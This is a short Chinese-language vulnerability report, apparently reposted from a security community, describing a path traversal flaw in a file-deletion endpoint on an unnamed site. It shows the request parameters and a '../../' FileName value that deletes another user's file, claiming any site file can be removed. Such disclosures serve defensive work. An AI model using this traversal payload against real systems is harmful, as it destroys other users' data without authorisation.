遍历文件名可删除全站文件

遍历文件名可删除全站文件

Example Domain?id=21448&Delete=True&FileName=footer.html
把FileName=footer.html 改成任意想删除的文件。

举个例子：
某用户fdbcb的文件夹下现在的文件：
我们构造FileName=../../fdbcb/version.txt
即可成功删除

本文迁移自知识星球“火线Zone”